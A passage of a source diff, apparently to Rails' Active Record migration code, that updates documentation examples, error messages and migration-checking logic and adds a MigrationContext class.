-      msg = "You are attempting to run a destructive action against your '#{env}' database.\n"
+      msg = +"You are attempting to run a destructive action against your '#{env}' database.\n"
       msg << "If you are sure you want to continue, run the same command with the environment variable:\n"
       msg << "DISABLE_DATABASE_ENVIRONMENT_CHECK=1"
       super(msg)
@@ -166,7 +214,7 @@ def initialize(env = "production")
 
   class EnvironmentMismatchError < ActiveRecordError
     def initialize(current: nil, stored: nil)
-      msg =  "You are attempting to modify a database that was last run in `#{ stored }` environment.\n"
+      msg = +"You are attempting to modify a database that was last run in `#{ stored }` environment.\n"
       msg << "You are running in `#{ current }` environment. "
       msg << "If you are sure you want to continue, first set the environment using:\n\n"
       msg << "        bin/rails db:environment:set"
@@ -178,6 +226,14 @@ def initialize(current: nil, stored: nil)
     end
   end
 
+  class EnvironmentStorageError < ActiveRecordError # :nodoc:
+    def initialize
+      msg = +"You are attempting to store the environment in a database where metadata is disabled.\n"
+      msg << "Check your database configuration to see if this is intended."
+      super(msg)
+    end
+  end
+
   # = Active Record Migrations
   #
   # Migrations can manage the evolution of a schema used by several physical
@@ -190,7 +246,7 @@ def initialize(current: nil, stored: nil)
   #
   # Example of a simple migration:
   #
-  #   class AddSsl < ActiveRecord::Migration[5.0]
+  #   class AddSsl < ActiveRecord::Migration[8.2]
   #     def up
   #       add_column :accounts, :ssl_enabled, :boolean, default: true
   #     end
@@ -210,7 +266,7 @@ def initialize(current: nil, stored: nil)
   #
   # Example of a more complex migration that also needs to initialize data:
   #
-  #   class AddSystemSettings < ActiveRecord::Migration[5.0]
+  #   class AddSystemSettings < ActiveRecord::Migration[8.2]
   #     def up
   #       create_table :system_settings do |t|
   #         t.string  :name
@@ -282,13 +338,13 @@ def initialize(current: nil, stored: nil)
   #   +table_name+. Passing a hash containing <tt>:from</tt> and <tt>:to</tt>
   #   as +default_or_changes+ will make this change reversible in the migration.
   # * <tt>change_column_null(table_name, column_name, null, default = nil)</tt>:
-  #   Sets or removes a +NOT NULL+ constraint on +column_name+. The +null+ flag
+  #   Sets or removes a <tt>NOT NULL</tt> constraint on +column_name+. The +null+ flag
   #   indicates whether the value can be +NULL+. See
   #   ActiveRecord::ConnectionAdapters::SchemaStatements#change_column_null for
   #   details.
   # * <tt>change_table(name, options)</tt>: Allows to make column alterations to
   #   the table called +name+. It makes the table object available to a block that
-  #   can then add/remove columns, indexes or foreign keys to it.
+  #   can then add/remove columns, indexes, or foreign keys to it.
   # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames
   #   a column but keeps the type and content.
   # * <tt>rename_index(table_name, old_name, new_name)</tt>: Renames an index.
@@ -297,14 +353,14 @@ def initialize(current: nil, stored: nil)
   #
   # === Deletion
   #
-  # * <tt>drop_table(name)</tt>: Drops the table called +name+.
+  # * <tt>drop_table(*names)</tt>: Drops the given tables.
   # * <tt>drop_join_table(table_1, table_2, options)</tt>: Drops the join table
   #   specified by the given arguments.
   # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
   #   named +column_name+ from the table called +table_name+.
   # * <tt>remove_columns(table_name, *column_names)</tt>: Removes the given
   #   columns from the table definition.
-  # * <tt>remove_foreign_key(from_table, options_or_to_table)</tt>: Removes the
+  # * <tt>remove_foreign_key(from_table, to_table = nil, **options)</tt>: Removes the
   #   given foreign key from the table called +table_name+.
   # * <tt>remove_index(table_name, column: column_names)</tt>: Removes the index
   #   specified by +column_names+.
@@ -318,15 +374,16 @@ def initialize(current: nil, stored: nil)
   # == Irreversible transformations
   #
   # Some transformations are destructive in a manner that cannot be reversed.
-  # Migrations of that kind should raise an <tt>ActiveRecord::IrreversibleMigration</tt>
+  # Migrations of that kind should raise an ActiveRecord::IrreversibleMigration
   # exception in their +down+ method.
   #
-  # == Running migrations from within Rails
+  # == Running migrations from within \Rails
   #
-  # The Rails package has several tools to help create and apply migrations.
+  # The \Rails package has several tools to help create and apply migrations.
   #
   # To generate a new migration, you can use
-  #   rails generate migration MyNewMigration
+  #
+  #   $ bin/rails generate migration MyNewMigration
   #
   # where MyNewMigration is the name of your migration. The generator will
   # create an empty migration file <tt>timestamp_my_new_migration.rb</tt>
@@ -335,41 +392,36 @@ def initialize(current: nil, stored: nil)
   #
   # There is a special syntactic shortcut to generate migrations that add fields to a table.
   #
-  #   rails generate migration add_fieldname_to_tablename fieldname:string
+  #   $ bin/rails generate migration add_fieldname_to_tablename fieldname:string
   #
   # This will generate the file <tt>timestamp_add_fieldname_to_tablename.rb</tt>, which will look like this:
-  #   class AddFieldnameToTablename < ActiveRecord::Migration[5.0]
+  #   class AddFieldnameToTablename < ActiveRecord::Migration[8.2]
   #     def change
   #       add_column :tablenames, :fieldname, :string
   #     end
   #   end
   #
   # To run migrations against the currently configured database, use
-  # <tt>rails db:migrate</tt>. This will update the database by running all of the
+  # <tt>bin/rails db:migrate</tt>. This will update the database by running all of the
   # pending migrations, creating the <tt>schema_migrations</tt> table
   # (see "About the schema_migrations table" section below) if missing. It will also
-  # invoke the db:schema:dump task, which will update your db/schema.rb file
+  # invoke the db:schema:dump command, which will update your db/schema.rb file
   # to match the structure of your database.
   #
   # To roll the database back to a previous migration version, use
-  # <tt>rails db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
+  # <tt>bin/rails db:rollback VERSION=X</tt> where <tt>X</tt> is the version to which
   # you wish to downgrade. Alternatively, you can also use the STEP option if you
-  # wish to rollback last few migrations. <tt>rails db:migrate STEP=2</tt> will rollback
+  # wish to rollback last few migrations. <tt>bin/rails db:rollback STEP=2</tt> will rollback
   # the latest two migrations.
   #
-  # If any of the migrations throw an <tt>ActiveRecord::IrreversibleMigration</tt> exception,
+  # If any of the migrations throw an ActiveRecord::IrreversibleMigration exception,
   # that step will fail and you'll have some manual work to do.
   #
-  # == Database support
-  #
-  # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
-  # SQL Server, and Oracle (all supported databases except DB2).
-  #
   # == More examples
   #
   # Not all migrations change the schema. Some just fix the data:
   #
-  #   class RemoveEmptyTags < ActiveRecord::Migration[5.0]
+  #   class RemoveEmptyTags < ActiveRecord::Migration[8.2]
   #     def up
   #       Tag.all.each { |tag| tag.destroy if tag.pages.empty? }
   #     end
@@ -382,7 +434,7 @@ def initialize(current: nil, stored: nil)
   #
   # Others remove columns when they migrate up instead of down:
   #
-  #   class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration[5.0]
+  #   class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration[8.2]
   #     def up
   #       remove_column :items, :incomplete_items_count
   #       remove_column :items, :completed_items_count
@@ -396,7 +448,7 @@ def initialize(current: nil, stored: nil)
   #
   # And sometimes you need to do something in SQL not abstracted directly by migrations:
   #
-  #   class MakeJoinUnique < ActiveRecord::Migration[5.0]
+  #   class MakeJoinUnique < ActiveRecord::Migration[8.2]
   #     def up
   #       execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
   #     end
@@ -413,7 +465,7 @@ def initialize(current: nil, stored: nil)
   # <tt>Base#reset_column_information</tt> in order to ensure that the model has the
   # latest column data from after the new column was added. Example:
   #
-  #   class AddPeopleSalary < ActiveRecord::Migration[5.0]
+  #   class AddPeopleSalary < ActiveRecord::Migration[8.2]
   #     def up
   #       add_column :people, :salary, :integer
   #       Person.reset_column_information
@@ -429,7 +481,7 @@ def initialize(current: nil, stored: nil)
   # them to the console as they happen, along with benchmarks describing how
   # long each step took.
   #
-  # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
+  # You can quiet them down by setting <tt>ActiveRecord::Migration.verbose = false</tt>.
   #
   # You can also insert your own messages and benchmarks by using the +say_with_time+
   # method:
@@ -449,11 +501,15 @@ def initialize(current: nil, stored: nil)
   #
   # == Timestamped Migrations
   #
-  # By default, Rails generates migrations that look like:
+  # By default, \Rails generates migrations that look like:
   #
   #    20080717013526_your_migration_name.rb
   #
-  # The prefix is a generation timestamp (in UTC).
+  # The prefix is a generation timestamp (in UTC). Timestamps should not be
+  # modified manually. To validate that migration timestamps adhere to the
+  # format Active Record expects, you can use the following configuration option:
+  #
+  #    config.active_record.validate_migration_timestamps = true
   #
   # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
   # off by setting:
@@ -471,7 +527,7 @@ def initialize(current: nil, stored: nil)
   # To define a reversible migration, define the +change+ method in your
   # migration like this:
   #
-  #   class TenderloveMigration < ActiveRecord::Migration[5.0]
+  #   class TenderloveMigration < ActiveRecord::Migration[8.2]
   #     def change
   #       create_table(:horses) do |t|
   #         t.column :content, :text
@@ -483,16 +539,16 @@ def initialize(current: nil, stored: nil)
   # This migration will create the horses table for you on the way up, and
   # automatically figure out how to drop the table on the way down.
   #
-  # Some commands like +remove_column+ cannot be reversed.  If you care to
-  # define how to move up and down in these cases, you should define the +up+
-  # and +down+ methods as before.
+  # Some commands cannot be reversed. If you care to define how to move up
+  # and down in these cases, you should define the +up+ and +down+ methods
+  # as before.
   #
   # If a command cannot be reversed, an
-  # <tt>ActiveRecord::IrreversibleMigration</tt> exception will be raised when
+  # ActiveRecord::IrreversibleMigration exception will be raised when
   # the migration is moving down.
   #
   # For a list of commands that are reversible, please see
-  # <tt>ActiveRecord::Migration::CommandRecorder</tt>.
+  # +ActiveRecord::Migration::CommandRecorder+.
   #
   # == Transactional Migrations
   #
@@ -501,7 +557,7 @@ def initialize(current: nil, stored: nil)
   # can't execute inside a transaction though, and for these situations
   # you can turn the automatic transactions off.
   #
-  #   class ChangeEnum < ActiveRecord::Migration[5.0]
+  #   class ChangeEnum < ActiveRecord::Migration[8.2]
   #     disable_ddl_transaction!
   #
   #     def up
@@ -514,18 +570,59 @@ def initialize(current: nil, stored: nil)
   class Migration
     autoload :CommandRecorder, "active_record/migration/command_recorder"
     autoload :Compatibility, "active_record/migration/compatibility"
+    autoload :DefaultSchemaVersionsFormatter, "active_record/migration/default_schema_versions_formatter"
+    autoload :JoinTable, "active_record/migration/join_table"
+    autoload :ExecutionStrategy, "active_record/migration/execution_strategy"
+    autoload :DefaultStrategy, "active_record/migration/default_strategy"
 
     # This must be defined before the inherited hook, below
     class Current < Migration # :nodoc:
+      def create_table(table_name, **options)
+        if block_given?
+          super { |t| yield compatible_table_definition(t) }
+        else
+          super
+        end
+      end
+
+      def change_table(table_name, **options)
+        if block_given?
+          super { |t| yield compatible_table_definition(t) }
+        else
+          super
+        end
+      end
+
+      def create_join_table(table_1, table_2, **options)
+        if block_given?
+          super { |t| yield compatible_table_definition(t) }
+        else
+          super
+        end
+      end
+
+      def drop_table(*table_names, **options)
+        if block_given?
+          super { |t| yield compatible_table_definition(t) }
+        else
+          super
+        end
+      end
+
+      def compatible_table_definition(t)
+        t
+      end
     end
 
     def self.inherited(subclass) # :nodoc:
       super
       if subclass.superclass == Migration
+        major = ActiveRecord::VERSION::MAJOR
+        minor = ActiveRecord::VERSION::MINOR
         raise StandardError, "Directly inheriting from ActiveRecord::Migration is not supported. " \
-          "Please specify the Rails release the migration was written for:\n" \
+          "Please specify the Active Record release the migration was written for:\n" \
           "\n" \
-          "  class #{subclass} < ActiveRecord::Migration[4.2]"
+          "  class #{subclass} < ActiveRecord::Migration[#{major}.#{minor}]"
       end
     end
 
@@ -539,29 +636,47 @@ def self.current_version
 
     MigrationFilenameRegexp = /\A([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/ # :nodoc:
 
+    def self.valid_version_format?(version_string) # :nodoc:
+      [
+        MigrationFilenameRegexp,
+        /\A\d(_?\d)*\z/ # integer with optional underscores
+      ].any? { |pattern| pattern.match?(version_string) }
+    end
+
     # This class is used to verify that all migrations have been run before
-    # loading a web page if <tt>config.active_record.migration_error</tt> is set to :page_load
+    # loading a web page if <tt>config.active_record.migration_error</tt> is set to +:page_load+.
     class CheckPending
-      def initialize(app)
+      def initialize(app, file_watcher: ActiveSupport::FileUpdateChecker)
         @app = app
-        @last_check = 0
+        @needs_check = true
+        @mutex = Mutex.new
+        @file_watcher = file_watcher
       end
 
       def call(env)
-        if connection.supports_migrations?
-          mtime = ActiveRecord::Migrator.last_migration.mtime.to_i
-          if @last_check < mtime
-            ActiveRecord::Migration.check_pending!(connection)
-            @last_check = mtime
+        @mutex.synchronize do
+          @watcher ||= build_watcher do
+            @needs_check = true
+            ActiveRecord::Migration.check_pending_migrations
+            @needs_check = false
+          end
+
+          if @needs_check
+            @watcher.execute
+          else
+            @watcher.execute_if_updated
           end
         end
+
         @app.call(env)
       end
 
       private
-
-        def connection
-          ActiveRecord::Base.connection
+        def build_watcher(&block)
+          current_environment = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+          all_configs = ActiveRecord::Base.configurations.configs_for(env_name: current_environment)
+          paths = all_configs.flat_map { |config| config.migrations_paths || Migrator.migrations_paths }.uniq
+          @file_watcher.new([], paths.index_with(["rb"]), &block)
         end
     end
 
@@ -573,33 +688,40 @@ def nearest_delegate # :nodoc:
         delegate || superclass.nearest_delegate
       end
 
-      # Raises <tt>ActiveRecord::PendingMigrationError</tt> error if any migrations are pending.
-      def check_pending!(connection = Base.connection)
-        raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+      # Raises ActiveRecord::PendingMigrationError error if any migrations are pending
+      # for all database configurations in an environment.
+      def check_all_pending!
+        pending_migrations = []
+
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: env) do |pool|
+          if pending = pool.migration_context.open.pending_migrations
+            pending_migrations << pending
+          end
+        end
+
+        migrations = pending_migrations.flatten
+
+        if migrations.any?
+          raise ActiveRecord::PendingMigrationError.new(pending_migrations: migrations)
+        end
       end
 
       def load_schema_if_pending!
-        if ActiveRecord::Migrator.needs_migration? || !ActiveRecord::Migrator.any_migrations?
-          # Roundtrip to Rake to allow plugins to hook into database initialization.
-          FileUtils.cd Rails.root do
-            current_config = Base.connection_config
-            Base.clear_all_connections!
-            system("bin/rails db:test:prepare")
-            # Establish a new connection, the old database may be gone (db:test:prepare uses purge)
-            Base.establish_connection(current_config)
-          end
-          check_pending!
+        if any_schema_needs_update?
+          load_schema!
         end
+
+        check_pending_migrations
       end
 
       def maintain_test_schema! # :nodoc:
-        if ActiveRecord::Base.maintain_test_schema
+        if ActiveRecord.maintain_test_schema
           suppress_messages { load_schema_if_pending! }
         end
       end
 
-      def method_missing(name, *args, &block) # :nodoc:
-        nearest_delegate.send(name, *args, &block)
+      def method_missing(name, ...) # :nodoc:
+        nearest_delegate.send(name, ...)
       end
 
       def migrate(direction)
@@ -613,12 +735,70 @@ def migrate(direction)
       def disable_ddl_transaction!
         @disable_ddl_transaction = true
       end
+
+      def check_pending_migrations # :nodoc:
+        migrations = pending_migrations
+
+        if migrations.any?
+          raise ActiveRecord::PendingMigrationError.new(pending_migrations: migrations)
+        end
+      end
+
+      private
+        def any_schema_needs_update?
+          !db_configs_in_current_env.all? do |db_config|
+            Tasks::DatabaseTasks.schema_up_to_date?(db_config)
+          end
+        end
+
+        def db_configs_in_current_env
+          ActiveRecord::Base.configurations.configs_for(env_name: env)
+        end
+
+        def pending_migrations
+          pending_migrations = []
+
+          ActiveRecord::Base.configurations.configs_for(env_name: env).each do |db_config|
+            ActiveRecord::PendingMigrationConnection.with_temporary_pool(db_config) do |pool|
+              if pending = pool.migration_context.open.pending_migrations
+                pending_migrations << pending
+              end
+            end
+          end
+
+          pending_migrations.flatten
+        end
+
+        def env
+          ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+        end
+
+        def load_schema!
+          # Roundtrip to Rake to allow plugins to hook into database initialization.
+          root = defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root
+
+          FileUtils.cd(root) do
+            Base.connection_handler.clear_all_connections!(:all)
+            system("bin/rails db:test:prepare")
+          end
+        end
+
+        def respond_to_missing?(method, include_private = false)
+          return false if nearest_delegate == delegate
+          nearest_delegate.respond_to?(method, include_private)
+        end
     end
 
     def disable_ddl_transaction # :nodoc:
       self.class.disable_ddl_transaction
     end
 
+    ##
+    # :singleton-method: verbose
+    #
+    # Specifies if migrations will write the actions they are taking to the console as they
+    # happen, along with benchmarks describing how long each step took. Defaults to
+    # true.
     cattr_accessor :verbose
     attr_accessor :name, :version
 
@@ -626,6 +806,11 @@ def initialize(name = self.class.name, version = nil)
       @name       = name
       @version    = version
       @connection = nil
+      @pool       = nil
+    end
+
+    def execution_strategy
+      @execution_strategy ||= (connection.migration_strategy || ActiveRecord.migration_strategy).new(self)
     end
 
     self.verbose = true
@@ -639,7 +824,7 @@ def initialize(name = self.class.name, version = nil)
     # and create the table 'apples' on the way up, and the reverse
     # on the way down.
     #
-    #   class FixTLMigration < ActiveRecord::Migration[5.0]
+    #   class FixTLMigration < ActiveRecord::Migration[8.2]
     #     def change
     #       revert do
     #         create_table(:horses) do |t|
@@ -656,9 +841,9 @@ def initialize(name = self.class.name, version = nil)
     # Or equivalently, if +TenderloveMigration+ is defined as in the
     # documentation for Migration:
     #
-    #   require_relative '20121212123456_tenderlove_migration'
+    #   require_relative "20121212123456_tenderlove_migration"
     #
-    #   class FixupTLMigration < ActiveRecord::Migration[5.0]
+    #   class FixupTLMigration < ActiveRecord::Migration[8.2]
     #     def change
     #       revert TenderloveMigration
     #
@@ -669,21 +854,19 @@ def initialize(name = self.class.name, version = nil)
     #   end
     #
     # This command can be nested.
-    def revert(*migration_classes)
+    def revert(*migration_classes, &block)
       run(*migration_classes.reverse, revert: true) unless migration_classes.empty?
       if block_given?
         if connection.respond_to? :revert
-          connection.revert { yield }
+          connection.revert(&block)
         else
-          recorder = CommandRecorder.new(connection)
+          recorder = command_recorder
           @connection = recorder
           suppress_messages do
-            connection.revert { yield }
+            connection.revert(&block)
           end
           @connection = recorder.delegate
-          recorder.commands.each do |cmd, args, block|
-            send(cmd, *args, &block)
-          end
+          recorder.replay(self)
         end
       end
     end
@@ -711,7 +894,7 @@ def down
     # when the three columns 'first_name', 'last_name' and 'full_name' exist,
     # even when migrating down:
     #
-    #    class SplitNameMigration < ActiveRecord::Migration[5.0]
+    #    class SplitNameMigration < ActiveRecord::Migration[8.2]
     #      def change
     #        add_column :users, :first_name, :string
     #        add_column :users, :last_name, :string
@@ -733,10 +916,29 @@ def reversible
       execute_block { yield helper }
     end
 
+    # Used to specify an operation that is only run when migrating up
+    # (for example, populating a new column with its initial values).
+    #
+    # In the following example, the new column +published+ will be given
+    # the value +true+ for all existing records.
+    #
+    #    class AddPublishedToPosts < ActiveRecord::Migration[8.2]
+    #      def change
+    #        add_column :posts, :published, :boolean, default: false
+    #        up_only do
+    #          execute "update posts set published = 'true'"
+    #        end
+    #      end
+    #    end
+    def up_only(&block)
+      execute_block(&block) unless reverting?
+    end
+
     # Runs the given migration classes.
     # Last argument can specify options:
-    # - :direction (default is :up)
-    # - :revert (default is false)
+    #
+    # - +:direction+ - Default is +:up+.
+    # - +:revert+ - Default is +false+.
     def run(*migration_classes)
       opts = migration_classes.extract_options!
       dir = opts[:direction] || :up
@@ -772,16 +974,16 @@ def migrate(direction)
       when :down then announce "reverting"
       end
 
-      time = nil
-      ActiveRecord::Base.connection_pool.with_connection do |conn|
-        time = Benchmark.measure do
+      time_elapsed = nil
+      ActiveRecord::Tasks::DatabaseTasks.migration_connection.pool.with_connection do |conn|
+        time_elapsed = ActiveSupport::Benchmark.realtime do
           exec_migration(conn, direction)
         end
       end
 
       case direction
-      when :up   then announce "migrated (%.4fs)" % time.real; write
-      when :down then announce "reverted (%.4fs)" % time.real; write
+      when :up   then announce "migrated (%.4fs)" % time_elapsed; write
+      when :down then announce "reverted (%.4fs)" % time_elapsed; write
       end
     end
 
@@ -794,10 +996,11 @@ def exec_migration(conn, direction)
           change
         end
       else
-        send(direction)
+        public_send(direction)
       end
     ensure
       @connection = nil
+      @execution_strategy = nil
     end
 
     def write(text = "")
@@ -810,19 +1013,24 @@ def announce(message)
       write "== %s %s" % [text, "=" * length]
     end
 
+    # Takes a message argument and outputs it as is.
+    # A second boolean argument can be passed to specify whether to indent or not.
     def say(message, subitem = false)
       write "#{subitem ? "   ->" : "--"} #{message}"
     end
 
+    # Outputs text along with how long it took to run its block.
+    # If the block returns an integer it assumes it is the number of rows affected.
     def say_with_time(message)
       say(message)
       result = nil
-      time = Benchmark.measure { result = yield }
-      say "%.4fs" % time.real, :subitem
+      time_elapsed = ActiveSupport::Benchmark.realtime { result = yield }
+      say "%.4fs" % time_elapsed, :subitem
       say("#{result} rows", :subitem) if result.is_a?(Integer)
       result
     end
 
+    # Takes a block as an argument and suppresses any output generated by the block.
     def suppress_messages
       save, self.verbose = verbose, false
       yield
@@ -831,50 +1039,63 @@ def suppress_messages
     end
 
     def connection
-      @connection || ActiveRecord::Base.connection
+      @connection || ActiveRecord::Tasks::DatabaseTasks.migration_connection
     end
 
-    def method_missing(method, *arguments, &block)
-      arg_list = arguments.map(&:inspect) * ", "
+    def connection_pool
+      @pool || ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
+    end
 
-      say_with_time "#{method}(#{arg_list})" do
+    def method_missing(method, *arguments, &block)
+      say_with_time "#{method}(#{format_arguments(arguments)})" do
         unless connection.respond_to? :revert
           unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
             arguments[0] = proper_table_name(arguments.first, table_name_options)
-            if [:rename_table, :add_foreign_key].include?(method) ||
+            if method == :rename_table ||
               (method == :remove_foreign_key && !arguments.second.is_a?(Hash))
               arguments[1] = proper_table_name(arguments.second, table_name_options)
             end
           end
         end
-        return super unless connection.respond_to?(method)
-        connection.send(method, *arguments, &block)
+        return super unless execution_strategy.respond_to?(method)
+        execution_strategy.send(method, *arguments, &block)
       end
     end
+    ruby2_keywords(:method_missing)
 
     def copy(destination, sources, options = {})
       copied = []
 
       FileUtils.mkdir_p(destination) unless File.exist?(destination)
+      schema_migration = SchemaMigration::NullSchemaMigration.new
+      internal_metadata = InternalMetadata::NullInternalMetadata.new
 
-      destination_migrations = ActiveRecord::Migrator.migrations(destination)
+      destination_migrations = ActiveRecord::MigrationContext.new(destination, schema_migration, internal_metadata).migrations
       last = destination_migrations.last
       sources.each do |scope, path|
-        source_migrations = ActiveRecord::Migrator.migrations(path)
+        source_migrations = ActiveRecord::MigrationContext.new(path, schema_migration, internal_metadata).migrations
 
         source_migrations.each do |migration|
           source = File.binread(migration.filename)
           inserted_comment = "# This migration comes from #{scope} (originally #{migration.version})\n"
-          if /\A#.*\b(?:en)?coding:\s*\S+/ =~ source
+          magic_comments = +""
+          loop do
             # If we have a magic comment in the original migration,
             # insert our comment after the first newline(end of the magic comment line)
             # so the magic keep working.
             # Note that magic comments must be at the first line(except sh-bang).
-            source[/\n/] = "\n#{inserted_comment}"
-          else
-            source = "#{inserted_comment}#{source}"
+            source.sub!(/\A(?:#.*\b(?:en)?coding:\s*\S+|#\s*frozen_string_literal:\s*(?:true|false)).*\n/) do |magic_comment|
+              magic_comments << magic_comment; ""
+            end || break
+          end
+
+          if !magic_comments.empty? && source.start_with?("\n")
+            magic_comments << "\n"
+            source = source[1..-1]
           end
 
+          source = "#{magic_comments}#{inserted_comment}#{source}"
+
           if duplicate = destination_migrations.detect { |m| m.name == migration.name }
             if options[:on_skip] && duplicate.scope != scope.to_s
               options[:on_skip].call(scope, migration)
@@ -910,16 +1131,16 @@ def proper_table_name(name, options = {})
 
     # Determines the version number of the next migration.
     def next_migration_number(number)
-      if ActiveRecord::Base.timestamped_migrations
+      if ActiveRecord.timestamped_migrations
         [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
       else
-        SchemaMigration.normalize_migration_number(number)
+        "%.3d" % number.to_i
       end
     end
 
     # Builds a hash for use in ActiveRecord::Migration#proper_table_name using
     # the Active Record object's table_name prefix and suffix
-    def table_name_options(config = ActiveRecord::Base) #:nodoc:
+    def table_name_options(config = ActiveRecord::Base) # :nodoc:
       {
         table_name_prefix: config.table_name_prefix,
         table_name_suffix: config.table_name_suffix
@@ -934,6 +1155,30 @@ def execute_block
           yield
         end
       end
+
+      def format_arguments(arguments)
+        arg_list = arguments[0...-1].map(&:inspect)
+        last_arg = arguments.last
+        if last_arg.is_a?(Hash)
+          last_arg = last_arg.reject { |k, _v| internal_option?(k) }
+          arg_list << last_arg.inspect unless last_arg.empty?
+        else
+          arg_list << last_arg.inspect
+        end
+        arg_list.join(", ")
+      end
+
+      def internal_option?(option_name)
+        option_name.start_with?("_")
+      end
+
+      def command_recorder
+        CommandRecorder.new(connection)
+      end
+
+      def respond_to_missing?(method, include_private = false)
+        execution_strategy.respond_to?(method, include_private) || super
+      end
   end
 
   # MigrationProxy is used to defer loading of the actual migration classes
@@ -948,167 +1193,252 @@ def basename
       File.basename(filename)
     end
 
-    def mtime
-      File.mtime filename
-    end
-
     delegate :migrate, :announce, :write, :disable_ddl_transaction, to: :migration
 
     private
-
       def migration
         @migration ||= load_migration
       end
 
       def load_migration
-        require(File.expand_path(filename))
+        Object.send(:remove_const, name) rescue nil
+
+        load(File.expand_path(filename))
         name.constantize.new(name, version)
       end
   end
 
-  class NullMigration < MigrationProxy #:nodoc:
-    def initialize
-      super(nil, 0, nil, nil)
-    end
+  # = \Migration \Context
+  #
+  # MigrationContext sets the context in which a migration is run.
+  #
+  # A migration context requires the path to the migrations is set
+  # in the +migrations_paths+ parameter. Optionally a +schema_migration+
+  # class can be provided. Multiple database applications will instantiate
+  # a +SchemaMigration+ object per database. From the Rake tasks, \Rails will
+  # handle this for you.
+  class MigrationContext
+    attr_reader :migrations_paths, :schema_migration, :internal_metadata
 
-    def mtime
-      0
+    def initialize(migrations_paths, schema_migration = nil, internal_metadata = nil)
+      @migrations_paths = migrations_paths
+      @schema_migration = schema_migration || SchemaMigration.new(connection_pool)
+      @internal_metadata = internal_metadata || InternalMetadata.new(connection_pool)
     end
-  end
 
-  class Migrator#:nodoc:
-    class << self
-      attr_writer :migrations_paths
-      alias :migrations_path= :migrations_paths=
-
-      def migrate(migrations_paths, target_version = nil, &block)
-        case
-        when target_version.nil?
-          up(migrations_paths, target_version, &block)
-        when current_version == 0 && target_version == 0
-          []
-        when current_version > target_version
-          down(migrations_paths, target_version, &block)
-        else
-          up(migrations_paths, target_version, &block)
-        end
+    # Runs the migrations in the +migrations_path+.
+    #
+    # If +target_version+ is +nil+, +migrate+ will run +up+.
+    #
+    # If the +current_version+ and +target_version+ are both
+    # 0 then an empty array will be returned and no migrations
+    # will be run.
+    #
+    # If the +current_version+ in the schema is greater than
+    # the +target_version+, then +down+ will be run.
+    #
+    # If none of the conditions are met, +up+ will be run with
+    # the +target_version+.
+    def migrate(target_version = nil, &block)
+      case
+      when target_version.nil?
+        up(target_version, &block)
+      when current_version == 0 && target_version == 0
+        []
+      when current_version > target_version
+        down(target_version, &block)
+      else
+        up(target_version, &block)
       end
+    end
 
-      def rollback(migrations_paths, steps = 1)
-        move(:down, migrations_paths, steps)
-      end
+    def rollback(steps = 1) # :nodoc:
+      move(:down, steps)
+    end
+
+    def forward(steps = 1) # :nodoc:
+      move(:up, steps)
+    end
 
-      def forward(migrations_paths, steps = 1)
-        move(:up, migrations_paths, steps)
+    def up(target_version = nil, &block) # :nodoc:
+      selected_migrations = if block_given?
+        migrations.select(&block)
+      else
+        migrations
       end
 
-      def up(migrations_paths, target_version = nil)
-        migrations = migrations(migrations_paths)
-        migrations.select! { |m| yield m } if block_given?
+      Migrator.new(:up, selected_migrations, schema_migration, internal_metadata, target_version).migrate
+    end
 
-        new(:up, migrations, target_version).migrate
+    def down(target_version = nil, &block) # :nodoc:
+      selected_migrations = if block_given?
+        migrations.select(&block)
+      else
+        migrations
       end
 
-      def down(migrations_paths, target_version = nil)
-        migrations = migrations(migrations_paths)
-        migrations.select! { |m| yield m } if block_given?
+      Migrator.new(:down, selected_migrations, schema_migration, internal_metadata, target_version).migrate
+    end
 
-        new(:down, migrations, target_version).migrate
-      end
+    def run(direction, target_version) # :nodoc:
+      Migrator.new(direction, migrations, schema_migration, internal_metadata, target_version).run
+    end
 
-      def run(direction, migrations_paths, target_version)
-        new(direction, migrations(migrations_paths), target_version).run
-      end
+    def open # :nodoc:
+      Migrator.new(:up, migrations, schema_migration, internal_metadata)
+    end
 
-      def open(migrations_paths)
-        new(:up, migrations(migrations_paths), nil)
+    def get_all_versions # :nodoc:
+      if schema_migration.table_exists?
+        schema_migration.integer_versions
+      else
+        []
       end
+    end
 
-      def schema_migrations_table_name
-        SchemaMigration.table_name
-      end
+    def current_version # :nodoc:
+      get_all_versions.max || 0
+    rescue ActiveRecord::NoDatabaseError
+    end
 
-      def get_all_versions(connection = Base.connection)
-        if connection.table_exists?(schema_migrations_table_name)
-          SchemaMigration.all.map { |x| x.version.to_i }.sort
-        else
-          []
+    def needs_migration? # :nodoc:
+      pending_migration_versions.size > 0
+    end
+
+    def pending_migration_versions # :nodoc:
+      migrations.collect(&:version) - get_all_versions
+    end
+
+    def migrations # :nodoc:
+      migrations = migration_files.map do |file|
+        version, name, scope = parse_migration_filename(file)
+        raise IllegalMigrationNameError.new(file) unless version
+        if validate_timestamp? && !valid_migration_timestamp?(version)
+          raise InvalidMigrationTimestampError.new(version, name)
         end
-      end
+        version = version.to_i
+        name = name.camelize
 
-      def current_version(connection = Base.connection)
-        get_all_versions(connection).max || 0
+        MigrationProxy.new(name, version, file, scope)
       end
 
-      def needs_migration?(connection = Base.connection)
-        (migrations(migrations_paths).collect(&:version) - get_all_versions(connection)).size > 0
+      migrations.sort_by(&:version)
+    end
+
+    def migrations_status # :nodoc:
+      db_list = schema_migration.normalized_versions
+
+      file_list = migration_files.filter_map do |file|
+        version, name, scope = parse_migration_filename(file)
+        raise IllegalMigrationNameError.new(file) unless version
+        if validate_timestamp? && !valid_migration_timestamp?(version)
